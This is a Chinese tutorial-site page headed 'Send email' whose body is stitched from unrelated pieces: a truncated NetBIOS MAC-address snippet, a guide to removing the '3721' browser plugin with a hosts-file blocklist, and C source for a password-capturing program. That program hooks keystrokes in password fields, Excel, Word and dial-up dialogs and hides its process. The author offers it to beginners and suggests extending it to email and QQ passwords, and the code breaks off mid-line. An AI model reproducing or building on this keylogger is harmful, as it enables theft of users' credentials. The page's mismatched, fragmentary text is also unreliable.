转至繁体中文版     | 网站首页 | 图文教程 | 资源下载 | 站长博客 | 图片素材 | 武汉seo | 武汉网站优化 | 
最新公告:     敏韬网|教学资源学习资料永久免费分享站!  [mintao  2008年9月2日]        
您现在的位置: 学习笔记 >> 图文教程 >> 软件开发 >> Delphi程序 >> 正文
发送电子邮件         ★★★★

发送电子邮件

作者:闵涛 文章来源:闵涛的学习笔记 点击数:2827 更新时间:2009/4/23 18:35:31
得本机网卡地址,换成IP地址就可以获得局域网内其他机器的网卡地址。

ncb.ncb_buffer =(unsigned char *) &Adapter;
ncb.ncb_length = sizeof(Adapter);

uRetCode = Netbios( &ncb );
if ( uRetCode == 0 )
  {
  for(int i=0;i<6;i++)
    {
    sprintf(tmp,"%02X ",(int)Adapter.adapt.adapter_address[i]);
    strcat(Mac,tmp);
    }
sprintf(tmp," Software: %d.%d",Adapter.adapt.rev_major,Adapter.adapt.rev_minor);
strcat(Mac,tmp);
  return true;
  }
else
  {
strcat(Mac,"Unknown.");
return false;
}
}

细说3721网络实名“病毒”(人家用C++写的)

    最近浏览一些门户网站时,会不知不觉的被安装上一个名为“3721网络实名”的IE插件。虽说这些门户网站和3721本是好意,可是这样单方面地安装上这么一个插件有点不妥!之所以说它是病毒,因为它同样是开机自动启动,而且虽然带来 一些方便,但是使系统运行的极不稳定,拖慢上网速度。在s8s8.net的论坛上看 到很多网友都说关机时经常会出现 explorer.exe 出错的提示。我也是同样深受 其害,仔细研究了一下,问题就出在这个“3721网络实名”上!更可气的是,可能是由于程序做的比较仓促,完全没有卸载功能! 
这里附上它的源代码,通过代码可以看出这不是木马。不过程序写的很烂…… 
#include "windows.h" 
#include "winbase.h" 
void main() 

char buf[MAX_PATH]; 
::ZeroMemory(buf, MAX_PATH); 
::GetWindowsDirectory(buf, MAX_PATH); 
char filename[MAX_PATH]; 
::ZeroMemory(filename, MAX_PATH); 
strcpy(filename, buf); 
strcat(filename, "\\Downloaded Program Files\\CnsMinIO.dll"); 
::MoveFileEx(filename, NULL, MOVEFILE_DELAY_UNTIL_REBOOT); 
::ZeroMemory(filename, MAX_PATH); 
strcpy(filename, buf); 
strcat(filename, "\\Downloaded Program Files\\CnsMin.dll"); 
::MoveFileEx(filename, NULL, MOVEFILE_DELAY_UNTIL_REBOOT); 
::ZeroMemory(filename, MAX_PATH); 
strcpy(filename, buf); 
strcat(filename, "\\Downloaded Program Files\\cnsio.dll"); 
::MoveFileEx(filename, NULL, MOVEFILE_DELAY_UNTIL_REBOOT); 

下面将给大家卸载这个插件的详细过程。 
由于这个3721网络实名插件是使用Rundll32.exe调用连接库的,系统无法终止Rundll32.exe进程,所以我们必须重新启动计算机,按 F8 进入安全模式(F8 只能按一次,千万不要多按!)。之后,单击 开始 -> 运行 regedit.exe 打开注册表,进入: 
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ 
删除键:CnsMin 
其键值为:Rundll32.exe C:\WINNT\DOWNLO~1\CnsMin.dll,Rundll32 
(如果是win98,这里的 C:\WINNT\DOWNLO~1\ 为 C:\WINDOWS\DOWNLO~1\) 
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\AdvancedOptions\ 
删除整个目录:!CNS 
这个目录在 Internet 选项 -> 高级 中加入了3721网络实名的选项。 
HKEY_LOCAL_MACHINE\SOFTWARE\3721\ 以及 HKEY_CURRENT_USER\Software\3721\ 
删除整个目录:3721 
注:如果您安装了3721的其它软件,如 极品飞猫 等,则应删除 
整个目录:HKEY_LOCAL_MACHINE\SOFTWARE\3721\CnsMin 
以及 HKEY_CURRENT_USER\Software\3721\CnsMin 
HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\ 
删除键:CNSEnable 其键值为:a2c39d5f 
删除键:CNSHint 其键值为:a2c39d5f 
删除键:CNSList 其键值为:a2c39d5f 
在删除完注册表中的项之后,还需要删除存储在硬盘中的3721网络实名文件。 
删除如下文件: 
C:\WINNT\DOWNLO~1 目录下 
(这里的 C:\WINNT\DOWNLO~1\ 为 C:\WINDOWS\DOWNLO~1\ 下同) 
2001-08-09 15:34 <DIR> 3721 
2001-08-02 17:03 40,960 cnsio.dll 
2001-08-08 14:14 102,400 CnsMin.dll 
2001-08-24 23:14 42 CnsMin.ini 
2001-08-09 10:18 13,848 CnsMinEx.cab 
2001-07-06 17:57 32,768 CnsMinEx.dll 
2001-08-25 02:52 115 CnsMinEx.ini 
2001-08-25 02:51 17,945 CnsMinIO.cab 
2001-08-02 17:02 32,768 CnsMinIO.dll 
2001-08-24 23:15 40,793 CnsMinUp.cab 
C:\WINNT\DOWNLO~1\3721 目录下 
2001-08-02 17:03 40,960 cnsio.dll 
2001-08-24 15:53 102,400 CnsMin.dll 
2001-07-06 17:59 213 CnsMin.inf 
2001-08-24 15:48 28,672 CnsMinIO.dll 
以上文件全部删除,这样3721网络实名“病毒”就从您的计算机中全部清除了。 
最后,重新启动计算机,进入正常模式。现在已经完全没有3721网络实名的捆饶了! 
..:::[end]:::.. 
下面是禁止3721的方法: 
卸载3721后,用记事本打开c:\windows\hosts(查找,说明为文件),加入以下字符(IP域名之间用一个空格间隔开): 
0.0.0.0 www.3721.com 
0.0.0.0 cnsmin.3721.com 
0.0.0.0 download.3721.com 
保存的文件名为Hosts(注意不要加任何扩展名),Windows 98/Me的系统把该文件保存到Windows目录,Windows 2000/XP的系统把该文件保存到WINNT\system32\drivers\etc目录,如果已经有Hosts文件,直接替换就可以。然后打开浏览器观察结果,怎么样?再也看不到3721的对话框了吧? 
同理,用Hosts文件还可以对付网页中的广告。现在很多大型网站,都有专门存放广告的主机,查看网页的源代码,就可以知道广告文件存放在哪台主机上,然后用Hosts文件解析这台主机的IP,就可以把这些广告拒之门外了。 
也可以加速经常浏览的网站:X.X.X.X(空格)WWW.X.COM (IP为真实值) 
..:::[other]:::.. 
另外可以使用多页面浏览器把 
3721.com 218.244.44.10 
3721.net 202.106.148.154 
www.3721.com 218.244.44.10 
www.3721.net 202.106.148.154 
download.3721.com 218.244.44.34 
download.3721.net 218.244.44.35 
这些添加到黑名单, 
把C段封杀 
218.244.44.* 
202.106.148.* 
附件附上Hosts: 
# Copyright (c) 1993-1999 Microsoft Corp. 

# This is a sample HOSTS file used by Microsoft TCP/IP for Windows. 

# This file contains the mappings of IP addresses to host names. Each 
# entry should be kept on an individual line. The IP address should 
# be placed in the first column followed by the corresponding host name. 
# The IP address and the host name should be separated by at least one 
# space. 

# Additionally, comments (such as these) may be inserted on individual 
# lines or following the machine name denoted by a ''''#'''' symbol. 

# For example: 

# 102.54.94.97 rhino.acme.com # source server 
# 38.25.63.10 x.acme.com # x client host 

127.0.0.1 localhost 
127.0.0.1 3721.com #3721网络实名 
127.0.0.1 3721.net #3721网络实名 
127.0.0.1 cnsmin.3721.com #3721网络实名 
127.0.0.1 download.3721.com #3721网络实名 
127.0.0.1 www.3721.com #3721网络实名 
127.0.0.1 www.3721.net #3721网络实名

一个截获用户输入密码程序

  整理东西的时候翻出了个几年前的程序,功能是当用户输入拨号、EXCEL,WORD密码时,将其保存在一个文件里。程序用的是日志钩子,这样就不用象其他全局HOOK那样,必须单写一个DLL。
  为了让初学者深入了解,将源代码贴上来,(SDK程序VC,BCB等WIN下的C编译器均可编译)象现在那些记录E-MAIL密码,OICQ密码等工具都是这原理,俺当时写着玩意的时候还没有OICQ。

有兴趣的可以自己加上。

#include <windows.h>
#define KeyPMask 0x80000000
#define SERVICE_PROC 1
#define UNSERVICE_PROC 0
#define RUN "\\GmkMon.exe"


typedef struct tagKEYDATA{
char kKey;
SHORT kShift;
SHORT kCaps;
SHORT kNum;
BOOL bShift;
BOOL bCaps;
BOOL bNum;
}KEYDATA,*LPKEYDATA;

HHOOK hHook=NULL;
DWORD (WINAPI *RegisterServiceProcess)(DWORD,DWORD);

LRESULT CALLBACK WndProc (HWND, UINT, WPARAM, LPARAM) ;
LRESULT CALLBACK JournalRecordProc(int nCode,WPARAM wParam,LPARAM lParam);

BOOL WINAPI HideProc(int mode)
{
HINSTANCE DLLInst=LoadLibrary("KERNEL32.DLL");
if(DLLInst)
{
RegisterServiceProcess=(DWORD(WINAPI *)(DWORD,DWORD))
GetProcAddress(DLLInst,"RegisterServiceProcess");
if(RegisterServiceProcess)
{
RegisterServiceProcess(GetCurrentProcessId(),mode);
return TRUE;
}
else
return FALSE;
}
else return FALSE;
}


BOOL WINAPI IsPassWindow()
{
HWND hWnd,curHwnd;
TCHAR szTemp[MAX_PATH];
DWORD dwsTyle;

hWnd=GetActiveWindow();

if(hWnd==NULL) return FALSE;
curHwnd =hWnd;
while(curHwnd!=NULL)
{
hWnd=curHwnd;
curHwnd=GetParent(hWnd);
}


dwsTyle=GetWindowLong(hWnd,GWL_STYLE);
if(dwsTyle & ES_PASSWORD) //普通密码框
return TRUE;
else if(!lstrcmp(szTemp,"EDTBX")) //Excel密码
return TRUE;
else if(!lstrcmp(szTemp,"RichEdit20W") && (dwsTyle & WS_SYSMENU))
return TRUE; //WORD密码

GetWindowText(hWnd,szTemp, sizeof(szTemp));
if(!strncmp(szTemp,"连接到",6)) //拨号网络
return TRUE;

return FALSE;
}


TCHAR WINAPI GetKey(int nKey)
{
KEYDATA kd;

kd.kShift=GetKeyState(VK_SHIFT);
kd.kCaps=GetKeyState(0x14);
kd.kNum=GetKeyState(0x90);

kd.bShift=(kd.kShift & KeyPMask)==KeyPMask;
kd.bCaps=(kd.kCaps & 1)==1;
kd.bNum=(kd.kNum & 1)==1;

if(nKey>=48 && nKey<=57)
if(!kd.bShift) return (kd.kKey=nKey);

if(nKey>=65 && nKey<=90)
{
if(!kd.bCaps)
if(kd.bShift) kd.kKey=nKey;
else kd.kKey=nKey+32;
else if (kd.bShift) kd.kKey=nKey+32;
e

上一页  [1] [2] [3] [4]  下一页


没有相关教程
教程录入:mintao    责任编辑:mintao 
  • 上一篇教程:

  • 下一篇教程:
  • 【字体: 】【发表评论】【加入收藏】【告诉好友】【打印此文】【关闭窗口
      注:本站部分文章源于互联网,版权归原作者所有!如有侵权,请原作者与本站联系,本站将立即删除! 本站文章除特别注明外均可转载,但需注明出处! [MinTao学以致用网]
      网友评论:(只显示最新10条。评论内容只代表网友观点,与本站立场无关!)

    同类栏目
    · C语言系列  · VB.NET程序
    · JAVA开发  · Delphi程序
    · 脚本语言
    更多内容
    热门推荐 更多内容
  • 没有教程
  • 赞助链接
    更多内容
    闵涛博文 更多关于武汉SEO的内容
    500 - 内部服务器错误。

    500 - 内部服务器错误。

    您查找的资源存在问题,因而无法显示。

    | 设为首页 |加入收藏 | 联系站长 | 友情链接 | 版权申明 | 广告服务
    MinTao学以致用网

    Copyright @ 2007-2012 敏韬网(敏而好学,文韬武略--MinTao.Net)(学习笔记) Inc All Rights Reserved.
    闵涛 投放广告、内容合作请Q我! E_mail:admin@mintao.net(欢迎提供学习资源)

    站长:MinTao ICP备案号:鄂ICP备11006601号-18

    闵涛站盟:医药大全-武穴网A打造BCD……
    咸宁网络警察报警平台